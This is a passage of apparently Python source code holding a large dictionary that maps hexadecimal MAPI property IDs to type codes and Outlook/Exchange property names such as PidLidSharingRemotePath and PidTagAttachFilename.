0x823c: (0x001f, None, None, 4, \"PidLidCcAttendeesString\", \"dispidCCAttendeesString\", None),\n        0x8204: (0x0003, None, None, 4, \"PidLidChangeHighlight\", \"dispidChangeHighlight\", None),\n        0x85b6: (0x001f, None, None, 4, \"PidLidClassification\", \"dispidClassification\", None),\n        0x85b7: (0x001f, None, None, 4, \"PidLidClassificationDescription\", \"dispidClassDesc\", None),\n        0x85b8: (0x001f, None, None, 4, \"PidLidClassificationGuid\", \"dispidClassGuid\", None),\n        0x85ba: (0x000b, None, None, 4, \"PidLidClassificationKeep\", \"dispidClassKeep\", None),\n        0x85b5: (0x000b, None, None, 4, \"PidLidClassified\", \"dispidClassified\", None),\n        0x0023: (0x000b, None, None, 4, \"PidTagOriginatorDeliveryReportRequested\", \"PR_ORIGINATOR_DELIVERY_REPORT_REQUESTED\", \"OriginatorDeliveryReportRequested\"),\n        0x0015: (0x0040, None, None, 4, \"PidTagExpiryTime\", \"PR_EXPIRY_TIME\", \"ExpiryTime\"),\n        0x8236: (0x0040, None, None, 4, \"PidLidClipEnd\", \"dispidClipEnd\", None),\n        0x8235: (0x0040, None, None, 4, \"PidLidClipStart\", \"dispidClipStart\", None),\n        0x8247: (0x001f, None, None, 4, \"PidLidCollaborateDoc\", \"dispidCollaborateDoc\", None),\n        0x8517: (0x0040, None, None, 4, \"PidLidCommonEnd\", \"dispidCommonEnd\", None),\n        0x8516: (0x0040, None, None, 4, \"PidLidCommonStart\", \"dispidCommonStart\", None),\n        0x8539: (0x101f, None, None, 4, \"PidLidCompanies\", \"dispidCompanies\", None),\n        0x8240: (0x000b, None, None, 4, \"PidLidConferencingCheck\", \"dispidConfCheck\", None),\n        0x8241: (0x0003, None, None, 4, \"PidLidConferencingType\", \"dispidConfType\", None),\n        0x8585: (0x0102, None, None, 4, \"PidLidContactLinkEntry\", \"dispidContactLinkEntry\", None),\n        0x8586: (0x001f, None, None, 4, \"PidLidContactLinkName\", \"dispidContactLinkName\", None),\n        0x8584: (0x0102, None, None, 4, \"PidLidContactLinkSearchKey\", \"dispidContactLinkSearchKey\", None),\n        0x853a: (0x101f, None, None, 4, \"PidLidContacts\", \"dispidContacts\", None),\n        0x8050: (0x001f, None, None, 4, \"PidLidContactUserField2\", \"dispidContactUserField2\", None),\n        0x85ca: (0x0040, None, None, 4, \"PidLidConversationActionLastAppliedTime\", \"dispidConvActionLastAppliedTime\", None),\n        0x85c8: (0x0040, None, None, 4, \"PidLidConversationActionMaxDeliveryTime\", \"dispidConvActionMaxDeliveryTime\", None),\n        0x85c6: (0x0102, None, None, 4, \"PidLidConversationActionMoveFolderEid\", \"dispidConvActionMoveFolderEid\", None),\n        0x85c7: (0x0102, None, None, 4, \"PidLidConversationActionMoveStoreEid\", \"dispidConvActionMoveStoreEid\", None),\n        0x85cb: (0x0003, None, None, 4, \"PidLidConversationActionVersion\", \"dispidConvActionVersion\", None),\n        0x85c9: (0x0003, None, None, 4, \"PidLidConversationProcessed\", \"dispidConvExLegacyProcessedRand\", None),\n        0x8552: (0x0003, None, None, 4, \"PidLidCurrentVersion\", \"dispidCurrentVersion\", None),\n        0x8554: (0x001f, None, None, 4, \"PidLidCurrentVersionName\", \"dispidCurrentVersionName\", None),\n        0x0011: (0x0002, None, None, 4, \"PidLidDayInterval\", \"LID_DAY_INTERVAL\", \"DiscardReason\"),\n        0x1000: (0x001f, None, None, 4, \"PidTagBody\", \"PR_BODY\", \"Body\"),\n        0x0009: (0x000b, None, None, 4, \"PidLidDelegateMail\", \"LID_DELEGATE_MAIL\", \"ContentLength\"),\n        0x8242: (0x001f, None, None, 4, \"PidLidDirectory\", \"dispidDirectory\", None),\n        0x000f: (0x0040, None, None, 4, \"PidTagDeferredDeliveryTime\", \"PR_DEFERRED_DELIVERY_TIME\", \"DeferredDeliveryTime\"),\n        0x0010: (0x0040, None, None, 4, \"PidTagDeliverTime\", \"PR_DELIVER_TIME\", \"DeliverTime\"),\n        0x8228: (0x0040, None, None, 4, \"PidLidExceptionReplaceTime\", \"dispidExceptionReplaceTime\", None),\n        0x822b: (0x000b, None, None, 4, \"PidLidFExceptionalAttendees\", \"dispidFExceptionalAttendees\", None),\n        0x8206: (0x000b, None, None, 4, \"PidLidFExceptionalBody\", \"dispidFExceptionalBody\", None),\n        0x8229: (0x000b, None, None, 4, \"PidLidFInvited\", \"dispidFInvited\", None),\n        0x8530: (0x001f, None, None, 4, \"PidLidFlagRequest\", \"dispidRequest\", None),\n        0x85c0: (0x0003, None, None, 4, \"PidLidFlagString\", \"dispidFlagStringEnum\", None),\n        0x820a: (0x000b, None, None, 4, \"PidLidForwardInstance\", \"dispidFwrdInstance\", None),\n        0x8261: (0x0102, None, None, 4, \"PidLidForwardNotificationRecipients\", \"dispidForwardNotificationRecipients\", None),\n        0x822f: (0x000b, None, None, 4, \"PidLidFOthersAppointment\", \"dispidFOthersAppt\", None),\n        0x0003: (0x0102, None, None, 4, \"PidLidGlobalObjectId\", \"LID_GLOBAL_OBJID\", \"AuthorizingUsers\"),\n        0x801a: (0x001f, None, None, 4, \"PidLidHomeAddress\", \"dispidHomeAddress\", None),\n        0x802b: (0x001f, None, None, 4, \"PidLidHtml\", \"dispidHTML\", None),\n        0x1001: (0x001f, None, None, 4, \"PidTagReportText\", \"PR_REPORT_TEXT\", \"ReportText\"),\n        0x827a: (0x0102, None, None, 4, \"PidLidInboundICalStream\", \"InboundICalStream\", None),\n        0x85b1: (0x001f, None, None, 4, \"PidLidInfoPathFormName\", None, None),\n        0x8224: (0x0003, None, None, 4, \"PidLidIntendedBusyStatus\", \"dispidIntendedBusyStatus\", None),\n        0x8580: (0x001f, None, None, 4, \"PidLidInternetAccountName\", \"dispidInetAcctName\", None),\n        0x8581: (0x001f, None, None, 4, \"PidLidInternetAccountStamp\", \"dispidInetAcctStamp\", None),\n        0x000a: (0x000b, None, None, 4, \"PidLidIsException\", \"LID_IS_EXCEPTION\", \"ContentReturnRequested\"),\n        0x0005: (0x000b, None, None, 4, \"PidTagAutoForwarded\", \"PR_AUTO_FORWARDED\", \"AutoForwarded\"),\n        0x0004: (0x0102, None, None, 4, \"PidTagScriptData\", \"PR_EMS_SCRIPT_BLOB\", \"AutoForwardComment\"),\n        0x820c: (0x1102, None, None, 4, \"PidLidLinkedTaskItems\", \"dispidLinkedTaskItems\", None),\n        0x8208: (0x001f, None, None, 4, \"PidLidLocation\", \"dispidLocation\", None),\n        0x8711: (0x000b, None, None, 4, \"PidLidLogDocumentPosted\", \"dispidLogDocPosted\", None),\n        0x870e: (0x000b, None, None, 4, \"PidLidLogDocumentPrinted\", \"dispidLogDocPrinted\", None),\n        0x8710: (0x000b, None, None, 4, \"PidLidLogDocumentRouted\", \"dispidLogDocRouted\", None),\n        0x870f: (0x000b, None, None, 4, \"PidLidLogDocumentSaved\", \"dispidLogDocSaved\", None),\n        0x8707: (0x0003, None, None, 4, \"PidLidLogDuration\", \"dispidLogDuration\", None),\n        0x8708: (0x0040, None, None, 4, \"PidLidLogEnd\", \"dispidLogEnd\", None),\n        0x870c: (0x0003, None, None, 4, \"PidLidLogFlags\", \"dispidLogFlags\", None),\n        0x8706: (0x0040, None, None, 4, \"PidLidLogStart\", \"dispidLogStart\", None),\n        0x8700: (0x001f, None, None, 4, \"PidLidLogType\", \"dispidLogType\", None),\n        0x8712: (0x001f, None, None, 4, \"PidLidLogTypeDesc\", \"dispidLogTypeDesc\", None),\n        0x0026: (0x0003, None, None, 4, \"PidTagPriority\", \"PR_PRIORITY\", \"Priority\"),\n        0x8209: (0x001f, None, None, 4, \"PidLidMeetingWorkspaceUrl\", \"dispidMWSURL\", None),\n        0x0013: (0x0002, None, None, 4, \"PidLidMonthInterval\", \"LID_MONTH_INTERVAL\", \"DlExpansionHistory\"),\n        0x1006: (0x0003, None, None, 4, \"PidLidMonthOfYear\", None, \"RtfSyncBodyCrc\"),\n        0x0017: (0x0003, None, None, 4, \"PidTagImportance\", \"PR_IMPORTANCE\", \"Importance\"),\n        0x8248: (0x001f, None, None, 4, \"PidLidNetShowUrl\", \"dispidNetShowURL\", None),\n        0x100b: (0x000b, None, None, 4, \"PidLidNoEndDateFlag\", \"http://schemas.microsoft.com/mapi/fnoenddate\", \"IsIntegJobProgress\"),\n        0x8538: (0x001f, None, None, 4, \"PidLidNonSendableBcc\", \"dispidNonSendableBCC\", None),\n        0x8537: (0x001f, None, None, 4, \"PidLidNonSendableCc\", \"dispidNonSendableCC\", None),\n        0x8536: (0x001f, None, None, 4, \"PidLidNonSendableTo\", \"dispidNonSendableTo\", None),\n        0x8545: (0x1003, None, None, 4, \"PidLidNonSendBccTrackStatus\", \"dispidNonSendBccTrackStatus\", None),\n        0x8544: (0x1003, None, None, 4, \"PidLidNonSendCcTrackStatus\", \"dispidNonSendCcTrackStatus\", None),\n        0x8543: (0x1003, None, None, 4, \"PidLidNonSendToTrackStatus\", \"dispidNonSendToTrackStatus\", None),\n        0x8b00: (0x0003, None, None, 4, \"PidLidNoteColor\", \"dispidNoteColor\", None),\n        0x8b03: (0x0003, None, None, 4, \"PidLidNoteHeight\", \"dispidNoteHeight\", None),\n        0x8b02: (0x0003, None, None, 4, \"PidLidNoteWidth\", \"dispidNoteWidth\", None),\n        0x8b04: (0x0003, None, None, 4, \"PidLidNoteX\", \"dispidNoteX\", None),\n        0x8b05: (0x0003, None, None, 4, \"PidLidNoteY\", \"dispidNoteY\", None),\n        0x1005: (0x0003, None, None, 4, \"PidLidOccurrences\", None, \"IsIntegJobCreationTime\"),\n        0x0028: (0x001f, None, None, 4, \"PidLidOldLocation\", \"dispidOldLocation\", \"ProofOfSubmissionRequested\"),\n        0x0018: (0x0002, None, None, 4, \"PidLidOldRecurrenceType\", \"LID_RECUR_TYPE\", \"IpmId\"),\n        0x002a: (0x0040, None, None, 4, \"PidTagReceiptTime\", \"PR_RECEIPT_TIME\", \"ReceiptTime\"),\n        0x0029: (0x000b, None, None, 4, \"PidTagReadReceiptRequested\", \"PR_READ_RECEIPT_REQUESTED\", \"ReadReceiptRequested\"),\n        0x8249: (0x001f, None, None, 4, \"PidLidOnlinePassword\", \"dispidOnlinePassword\", None),\n        0x0007: (0x001f, None, None, 4, \"PidLidOptionalAttendees\", \"LID_OPTIONAL_ATTENDEES\", \"ContentCorrelator\"),\n        0x8243: (0x001f, None, None, 4, \"PidLidOrganizerAlias\", \"dispidOrgAlias\", None),\n        0x8237: (0x0102, None, None, 4, \"PidLidOriginalStoreEntryId\", \"dispidOrigStoreEid\", None),\n        0x801c: (0x001f, None, None, 4, \"PidLidOtherAddress\", \"dispidOtherAddress\", None),\n        0x001a: (0x001f, None, None, 4, \"PidTagMessageClass\", \"PR_MESSAGE_CLASS\", \"MessageClass\"),\n        0x822e: (0x001f, None, None, 4, \"PidLidOwnerName\", \"dispidOwnerName\", None),\n        0x85e0: (0x0003, None, None, 4, \"PidLidPendingStateForSiteMailboxDocument\", \"dispidPendingStateforTMDocument\", None),\n        0x8022: (0x0003, None, None, 4, \"PidLidPostalAddressId\", \"dispidPostalAddressId\", None),\n        0x8904: (0x001f, None, None, 4, \"PidLidPostRssChannel\", \"dispidPostRssChannel\", None),\n        0x8900: (0x001f, None, None, 4, \"PidLidPostRssChannelLink\", \"dispidPostRssChannelLink\", None),\n        0x8903: (0x001f, None, None, 4, \"PidLidPostRssItemGuid\", \"dispidPostRssItemGuid\", None),\n        0x8902: (0x0003, None, None, 4, \"PidLidPostRssItemHash\", \"dispidPostRssItemHash\", None),\n        0x8901: (0x001f, None, None, 4, \"PidLidPostRssItemLink\", \"dispidPostRssItemLink\", None),\n        0x8905: (0x001f, None, None, 4, \"PidLidPostRssItemXml\", \"dispidPostRssItemXml\", None),\n        0x8906: (0x001f, None, None, 4, \"PidLidPostRssSubscription\", \"dispidPostRssSubscription\", None),\n        0x8506: (0x000b, None, None, 4, \"PidLidPrivate\", \"dispidPrivate\", None),\n        0x100d: (0x0003, None, None, 4, \"PidLidRecurrenceDuration\", None, \"IsIntegJobSource\"),\n        0x8232: (0x001f, None, None, 4, \"PidLidRecurrencePattern\", \"dispidRecurPattern\", None),\n        0x8231: (0x0003, None, None, 4, \"PidLidRecurrenceType\", \"dispidRecurType\", None),\n        0x8223: (0x000b, None, None, 4, \"PidLidRecurring\", \"dispidRecurring\", None),\n        0x85bd: (0x0102, None, None, 4, \"PidLidReferenceEntryId\", \"dispidReferenceEID\", None),\n        0x8501: (0x0003, None, None, 4, \"PidLidReminderDelta\", \"dispidReminderDelta\", None),\n        0x851f: (0x001f, None, None, 4, \"PidLidReminderFileParameter\", \"dispidReminderFileParam\", None),\n        0x851c: (0x000b, None, None, 4, \"PidLidReminderOverride\", \"dispidReminderOverride\", None),\n        0x851e: (0x000b, None, None, 4, \"PidLidReminderPlaySound\", \"dispidReminderPlaySound\", None),\n        0x8503: (0x000b, None, None, 4, \"PidLidReminderSet\", \"dispidReminderSet\", None),\n        0x8560: (0x0040, None, None, 4, \"PidLidReminderSignalTime\", \"dispidReminderNextTime\", None),\n        0x8502: (0x0040, None, None, 4, \"PidLidReminderTime\", \"dispidReminderTime\", None),\n        0x8505: (0x0040, None, None, 4, \"PidLidReminderTimeDate\", \"dispidReminderTimeDate\", None),\n        0x8504: (0x0040, None, None, 4, \"PidLidReminderTimeTime\", \"dispidReminderTimeTime\", None),\n        0x851d: (0x0003, None, None, 4, \"PidLidReminderType\", \"dispidReminderType\", None),\n        0x8511: (0x0003, None, None, 4, \"PidLidRemoteStatus\", \"dispidRemoteStatus\", None),\n        0x0006: (0x001f, None, None, 4, \"PidLidRequiredAttendees\", \"LID_REQUIRED_ATTENDEES\", \"ContentConfidentialityAlgorithmId\"),\n        0x0008: (0x001f, None, None, 4, \"PidLidResourceAttendees\", \"LID_RESOURCE_ATTENDEES\", \"ContentIdentifier\"),\n        0x8218: (0x0003, None, None, 4, \"PidLidResponseStatus\", \"dispidResponseStatus\", None),\n        0x85cc: (0x000b, None, None, 4, \"PidLidServerProcessed\", \"dispidExchangeProcessed\", None),\n        0x85cd: (0x0003, None, None, 4, \"PidLidServerProcessingActions\", \"dispidExchangeProcessingAction\", None),\n        0x8a19: (0x0003, None, None, 4, \"PidLidSharingAnonymity\", \"dispidSharingAnonymity\", None),\n        0x8a2d: (0x0102, None, None, 4, \"PidLidSharingBindingEntryId\", \"dispidSharingBindingEid\", None),\n        0x8a51: (0x001f, None, None, 4, \"PidLidSharingBrowseUrl\", \"dispidSharingBrowseUrl\", None),\n        0x8a17: (0x0003, None, None, 4, \"PidLidSharingCapabilities\", \"dispidSharingCaps\", None),\n        0x8a24: (0x001f, None, None, 4, \"PidLidSharingConfigurationUrl\", \"dispidSharingConfigUrl\", None),\n        0x8a45: (0x0040, None, None, 4, \"PidLidSharingDataRangeEnd\", \"dispidSharingDataRangeEnd\", None),\n        0x8a44: (0x0040, None, None, 4, \"PidLidSharingDataRangeStart\", \"dispidSharingDataRangeStart\", None),\n        0x8a2b: (0x0003, None, None, 4, \"PidLidSharingDetail\", \"dispidSharingDetail\", None),\n        0x8a21: (0x001f, None, None, 4, \"PidLidSharingExtensionXml\", \"dispidSharingExtXml\", None),\n        0x8a13: (0x0102, None, None, 4, \"PidLidSharingFilter\", \"dispidSharingFilter\", None),\n        0x8a0a: (0x0003, None, None, 4, \"PidLidSharingFlags\", \"dispidSharingFlags\", None),\n        0x8a18: (0x0003, None, None, 4, \"PidLidSharingFlavor\", \"dispidSharingFlavor\", None),\n        0x8a15: (0x0102, None, None, 4, \"PidLidSharingFolderEntryId\", \"dispidSharingFolderEid\", None),\n        0x8a2e: (0x0102, None, None, 4, \"PidLidSharingIndexEntryId\", \"dispidSharingIndexEid\", None),\n        0x8a09: (0x0102, None, None, 4, \"PidLidSharingInitiatorEntryId\", \"dispidSharingInitiatorEid\", None),\n        0x8a07: (0x001f, None, None, 4, \"PidLidSharingInitiatorName\", \"dispidSharingInitiatorName\", None),\n        0x8a08: (0x001f, None, None, 4, \"PidLidSharingInitiatorSmtp\", \"dispidSharingInitiatorSmtp\", None),\n        0x8a1c: (0x0102, None, None, 4, \"PidLidSharingInstanceGuid\", \"dispidSharingInstanceGuid\", None),\n        0x8a55: (0x0040, None, None, 4, \"PidLidSharingLastAutoSyncTime\", \"dispidSharingLastAutoSync\", None),\n        0x8a1f: (0x0040, None, None, 4, \"PidLidSharingLastSyncTime\", \"dispidSharingLastSync\", None),\n        0x8a4d: (0x001f, None, None, 4, \"PidLidSharingLocalComment\", \"dispidSharingLocalComment\", None),\n        0x8a23: (0x0040, None, None, 4, \"PidLidSharingLocalLastModificationTime\", \"dispidSharingLocalLastMod\", None),\n        0x8a0f: (0x001f, None, None, 4, \"PidLidSharingLocalName\", \"dispidSharingLocalName\", None),\n        0x8a0e: (0x001f, None, None, 4, \"PidLidSharingLocalPath\", \"dispidSharingLocalPath\", None),\n        0x8a49: (0x001f, None, None, 4, \"PidLidSharingLocalStoreUid\", \"dispidSharingLocalStoreUid\", None),\n        0x8a14: (0x001f, None, None, 4, \"PidLidSharingLocalType\", \"dispidSharingLocalType\", None),\n        0x8a10: (0x001f, None, None, 4, \"PidLidSharingLocalUid\", \"dispidSharingLocalUid\", None),\n        0x8a29: (0x0102, None, None, 4, \"PidLidSharingOriginalMessageEntryId\", \"dispidSharingOriginalMessageEid\", None),\n        0x8a5c: (0x0102, None, None, 4, \"PidLidSharingParentBindingEntryId\", \"dispidSharingParentBindingEid\", None),\n        0x8a1e: (0x001f, None, None, 4, \"PidLidSharingParticipants\", \"dispidSharingParticipants\", None),\n        0x8a1b: (0x0003, None, None, 4, \"PidLidSharingPermissions\", \"dispidSharingPermissions\", None),\n        0x8a0b: (0x001f, None, None, 4, \"PidLidSharingProviderExtension\", \"dispidSharingProviderExtension\", None),\n        0x8a01: (0x0102, None, None, 4, \"PidLidSharingProviderGuid\", \"dispidSharingProviderGuid\", None),\n        0x8a02: (0x001f, None, None, 4, \"PidLidSharingProviderName\", \"dispidSharingProviderName\", None),\n        0x8a03: (0x001f, None, None, 4, \"PidLidSharingProviderUrl\", \"dispidSharingProviderUrl\", None),\n        0x8a47: (0x0003, None, None, 4, \"PidLidSharingRangeEnd\", \"dispidSharingRangeEnd\", None),\n        0x8a46: (0x0003, None, None, 4, \"PidLidSharingRangeStart\", \"dispidSharingRangeStart\", None),\n        0x8a1a: (0x0003, None, None, 4, \"PidLidSharingReciprocation\", \"dispidSharingReciprocation\", None),\n        0x8a4b: (0x0003, None, None, 4, \"PidLidSharingRemoteByteSize\", \"dispidSharingRemoteByteSize\", None),\n        0x8a2f: (0x001f, None, None, 4, \"PidLidSharingRemoteComment\", \"dispidSharingRemoteComment\", None),\n        0x8a4c: (0x0003, None, None, 4, \"PidLidSharingRemoteCrc\", \"dispidSharingRemoteCrc\", None),\n        0x8a22: (0x0040, None, None, 4, \"PidLidSharingRemoteLastModificationTime\", \"dispidSharingRemoteLastMod\", None),\n        0x8a4f: (0x0003, None, None, 4, \"PidLidSharingRemoteMessageCount\", \"dispidSharingRemoteMsgCount\", None),\n        0x8a05: (0x001f, None, None, 4, \"PidLidSharingRemoteName\", \"dispidSharingRemoteName\", None),\n        0x8a0d: (0x001f, None, None, 4, \"PidLidSharingRemotePass\", \"dispidSharingRemotePass\", None),\n        0x8a04: (0x001f, None, None, 4, \"PidLidSharingRemotePath\", \"dispidSharingRemotePath\", None),\n        0x8a48: (0x001f, None, None, 4, \"PidLidSharingRemoteStoreUid\", \"dispidSharingRemoteStoreUid\", None),\n        0x8a1d: (0x001f, None, None, 4, \"PidLidSharingRemoteType\", \"dispidSharingRemoteType\", None),\n        0x8a06: (0x001f, None, None, 4, \"PidLidSharingRemoteUid\", \"dispidSharingRemoteUid\", None),\n        0x8a0c: (0x001f, None, None, 4, \"PidLidSharingRemoteUser\", \"dispidSharingRemoteUser\", None),\n        0x8a5b: (0x001f, None, None, 4, \"PidLidSharingRemoteVersion\", \"dispidSharingRemoteVersion\", None),\n        0x8a28: (0x0040, None, None, 4, \"PidLidSharingResponseTime\", \"dispidSharingResponseTime\", None),\n        0x8a27: (0x0003, None, None, 4, \"PidLidSharingResponseType\", \"dispidSharingResponseType\", None),\n        0x8a4e: (0x0003, None, None, 4, \"PidLidSharingRoamLog\", \"dispidSharingRoamLog\", None),\n        0x8a25: (0x0040, None, None, 4, \"PidLidSharingStart\", \"dispidSharingStart\", None),\n        0x8a00: (0x0003, None, None, 4, \"PidLidSharingStatus\", \"dispidSharingStatus\", None),\n        0x8a26: (0x0040, None, None, 4, \"PidLidSharingStop\", \"dispidSharingStop\", None),\n        0x8a60: (0x0003, None, None, 4, \"PidLidSharingSyncFlags\", \"dispidSharingSyncFlags\", None),\n        0x8a2a: (0x0003, None, None, 4, \"PidLidSharingSyncInterval\", \"dispidSharingSyncInterval\", None),\n        0x8a2c: (0x0003, None, None, 4, \"PidLidSharingTimeToLive\", \"dispidSharingTimeToLive\", None),\n        0x8a56: (0x0003, None, None, 4, \"PidLidSharingTimeToLiveAuto\", \"dispidSharingTimeToLiveAuto\", None),\n        0x8a42: (0x0003, None, None, 4, \"PidLidSharingWorkingHoursDays\", \"dispidSharingWorkingHoursDays\", None),\n        0x8a41: (0x0040, None, None, 4, \"PidLidSharingWorkingHoursEnd\", \"dispidSharingWorkingHoursEnd\", None),\n        0x8a40: (0x0040, None, None, 4, \"PidLidSharingWorkingHoursStart\", \"dispidSharingWorkingHoursStart\", None),\n        0x8a43: (0x0102, None, None, 4, \"PidLidSharingWorkingHoursTimeZone\", \"dispidSharingWorkingHoursTZ\", None),\n        0x8510: (0x0003, None, None, 4, \"PidLidSideEffects\", \"dispidSideEffects\", None),\n        0x827b: (0x000b, None, None, 4, \"PidLidSingleBodyICal\", \"IsSingleBodyICal\", None),\n        0x8514: (0x000b, None, None, 4, \"PidLidSmartNoAttach\", \"dispidSmartNoAttach\", None),\n        0x859c: (0x0102, None, None, 4, \"PidLidSpamOriginalFolder\", \"dispidSpamOriginalFolder\", None),\n        0x000d: (0x0003, None, None, 4, \"PidLidStartRecurrenceDate\", \"LID_START_RECUR_DATE\", \"ConversionWithLossProhibited\"),\n        0x000e: (0x0003, None, None, 4, \"PidLidStartRecurrenceTime\", \"LID_START_RECUR_TIME\", \"ConvertedEits\"),\n        0x811c: (0x000b, None, None, 4, \"PidLidTaskComplete\", \"dispidTaskComplete\", None),\n        0x8519: (0x0102, None, None, 4, \"PidLidTaskGlobalId\", \"dispidTaskGlobalObjId\", None),\n        0x8518: (0x0003, None, None, 4, \"PidLidTaskMode\", \"dispidTaskMode\", None),\n        0x000c: (0x0003, None, None, 4, \"PidLidTimeZone\", \"LID_TIME_ZONE\", \"ConversionEits\"),\n        0x8234: (0x001f, None, None, 4, \"PidLidTimeZoneDescription\", \"dispidTimeZoneDesc\", None),\n        0x8233: (0x0102, None, None, 4, \"PidLidTimeZoneStruct\", \"dispidTimeZoneStruct\", None),\n        0x823b: (0x001f, None, None, 4, \"PidLidToAttendeesString\", \"dispidToAttendeesString\", None),\n        0x85a0: (0x0040, None, None, 4, \"PidLidToDoOrdinalDate\", \"dispidToDoOrdinalDate\", None),\n        0x85a1: (0x001f, None, None, 4, \"PidLidToDoSubOrdinal\", \"dispidToDoSubOrdinal\", None),\n        0x85a4: (0x001f, None, None, 4, \"PidLidToDoTitle\", \"dispidToDoTitle\", None),\n        0x8582: (0x000b, None, None, 4, \"PidLidUseTnef\", \"dispidUseTNEF\", None),\n        0x85bf: (0x0040, None, None, 4, \"PidLidValidFlagStringProof\", \"dispidValidFlagStringProof\", None),\n        0x8524: (0x001f, None, None, 4, \"PidLidVerbResponse\", \"dispidVerbResponse\", None),\n        0x8520: (0x0102, None, None, 4, \"PidLidVerbStream\", \"dispidVerbStream\", None),\n        0x0012: (0x0002, None, None, 4, \"PidLidWeekInterval\", \"LID_WEEK_INTERVAL\", \"DisclosureOfRecipients\"),\n        0x0002: (0x000b, None, None, 4, \"PidTagAlternateRecipientAllowed\", \"PR_ALTERNATE_RECIPIENT_ALLOWED\", \"AlternateRecipientAllowed\"),\n        0x801b: (0x001f, None, None, 4, \"PidLidWorkAddress\", \"dispidWorkAddress\", None),\n        0x0014: (0x0002, None, None, 4, \"PidLidYearInterval\", \"LID_YEAR_INTERVAL\", \"DlExpansionProhibited\"),\n        0x802c: (0x001f, None, None, 4, \"PidLidYomiFirstName\", \"dispidYomiFirstName\", None),\n        0x0ff4: (0x0003, None, None, 4, \"PidTagAccess\", \"PR_ACCESS\", \"Access\"),\n        0x3fe0: (0x0102, None, None, 4, \"PidTagAccessControlListData\", \"PR_ACL_DATA\", \"AclTable\"),\n        0x0ff7: (0x0003, None, None, 4, \"PidTagAccessLevel\", \"PR_ACCESS_LEVEL\", \"AccessLevel\"),\n        0x36d8: (0x1102, None, None, 4, \"PidTagAdditionalRenEntryIds\", \"PR_ADDITIONAL_REN_ENTRYIDS\", \"AdditionalRenEntryIds\"),\n        0x36d9: (0x0102, None, None, 4, \"PidTagAdditionalRenEntryIdsEx\", \"PR_ADDITIONAL_REN_ENTRYIDS_EX\", \"AdditionalRenEntryIdsEx\"),\n        0xfffd: (0x0003, None, None, 4, \"PidTagAddressBookContainerId\", \"PR_EMS_AB_CONTAINERID\", \"AbContainerId\"),\n        0x8c93: (0x0003, None, None, 4, \"PidTagAddressBookDisplayTypeExtended\", \"PR_EMS_AB_DISPLAY_TYPE_EX\", None),\n        0x663b: (0x0102, None, None, 4, \"PidTagAddressBookEntryId\", \"PR_ADDRESS_BOOK_ENTRYID\", \"AddressBookEntryId\"),\n        0xfffb: (0x000b, None, None, 4, \"PidTagAddressBookIsMaster\", \"PR_EMS_AB_IS_MASTER\", \"AbIsMaster\"),\n        0x6704: (0x000d, None, None, 4, \"PidTagAddressBookManageDistributionList\", \"PR_EMS_AB_MANAGE_DL\", \"ClientVersion\"),\n        0x674f: (0x0014, None, None, 4, \"PidTagAddressBookMessageId\", \"ptagAddrbookMID\", None),\n        0xfffc: (0x0102, None, None, 4, \"PidTagAddressBookParentEntryId\", \"PR_EMS_AB_PARENT_ENTRYID\", \"AbParentEntryId\"),\n        0x3002: (0x001f, None, None, 4, \"PidTagAddressType\", \"PR_ADDRTYPE\", \"AddrType\"),\n        0x360c: (0x001f, None, None, 4, \"PidTagAnr\", \"PR_ANR\", \"Anr\"),\n        0x301f: (0x0040, None, None, 4, \"PidTagArchiveDate\", \"PR_ARCHIVE_DATE\", \"ArchiveDate\"),\n        0x301e: (0x0003, None, None, 4, \"PidTagArchivePeriod\", \"PR_ARCHIVE_PERIOD\", \"ArchivePeriod\"),\n        0x3018: (0x0102, None, None, 4, \"PidTagArchiveTag\", \"PR_ARCHIVE_TAG\", \"ArchiveTag\"),\n        0x67aa: (0x000b, None, None, 4, \"PidTagAssociated\", \"ptagAssociated\", \"Associated\"),\n        0x370f: (0x0102, None, None, 4, \"PidTagAttachAdditionalInformation\", \"PR_ATTACH_ADDITIONAL_INFO\", \"AttachAdditionalInfo\"),\n        0x3711: (0x001f, None, None, 4, \"PidTagAttachContentBase\", None, \"AttachmentContentBase\"),\n        0x3712: (0x001f, None, None, 4, \"PidTagAttachContentId\", \"PR_ATTACH_CONTENT_ID\", \"AttachmentContentId\"),\n        0x3713: (0x001f, None, None, 4, \"PidTagAttachContentLocation\", \"PR_ATTACH_CONTENT_LOCATION\", \"AttachContentLocation\"),\n        0x3701: (0x000d, None, None, 4, \"PidTagAttachDataObject\", \"PR_ATTACH_DATA_OBJ\", \"AttachDataObj\"),\n        0x3702: (0x0102, None, None, 4, \"PidTagAttachEncoding\", \"PR_ATTACH_ENCODING\", \"AttachEncoding\"),\n        0x3703: (0x001f, None, None, 4, \"PidTagAttachExtension\", \"PR_ATTACH_EXTENSION\", \"AttachExtension\"),\n        0x3704: (0x001f, None, None, 4, \"PidTagAttachFilename\", \"PR_ATTACH_FILENAME\", \"AttachFileName\"),\n        0x3714: (0x0003, None, None, 4, \"PidTagAttachFlags\", \"PR_ATTACH_FLAGS\", \"AttachFlags\"),\n        0x3707: (0x001f, None, None, 4, \"PidTagAttachLongFilename\", \"PR_ATTACH_LONG_FILENAME\", \"AttachLongFileName\"),\n        0x370d: (0x001f, None, None, 4, \"PidTagAttachLongPathname\", \"PR_ATTACH_LONG_PATHNAME\", \"AttachLongPathName\"),\n        0x7fff: (0x000b, None, None, 4, \"PidTagAttachmentContactPhoto\", \"PR_ATTACHMENT_CONTACTPHOTO\", \"IsContactPhoto\"),\n        0x7ffd: (0x0003, None, None, 4, \"PidTagAttachmentFlags\", \"PR_ATTACHMENT_FLAGS\", \"AttachmentCalendarFlags\"),\n        0x7ffe: (0x000b, None, None, 4, \"PidTagAttachmentHidden\", \"PR_ATTACHMENT_HIDDEN\", \"AttachmentCalendarHidden\"),\n        0x7ffa: (0x0003, None, None, 4, \"PidTagAttachmentLinkId\", \"PR_ATTACHMENT_LINKID\", \"AttachmentCalendarLinkId\"),\n        0x3705: (0x0003, None, None, 4, \"PidTagAttachMethod\", \"PR_ATTACH_METHOD\", \"AttachMethod\"),\n        0x370e: (0x001f, None, None, 4, \"PidTagAttachMimeTag\", \"PR_ATTACH_MIME_TAG\", \"AttachMimeTag\"),\n        0x0e21: (0x0003, None, None, 4, \"PidTagAttachNumber\", \"PR_ATTACH_NUM\", \"AttachNum\"),\n        0x3708: (0x001f, None, None, 4, \"PidTagAttachPathname\", \"PR_ATTACH_PATHNAME\", \"AttachPathName\"),\n        0x371a: (0x001f, None, None, 4, \"PidTagAttachPayloadClass\", \"PR_ATTACH_PAYLOAD_CLASS\", \"AttachmentPayloadClass\"),\n        0x3719: (0x001f, None, None, 4, \"PidTagAttachPayloadProviderGuidString\", 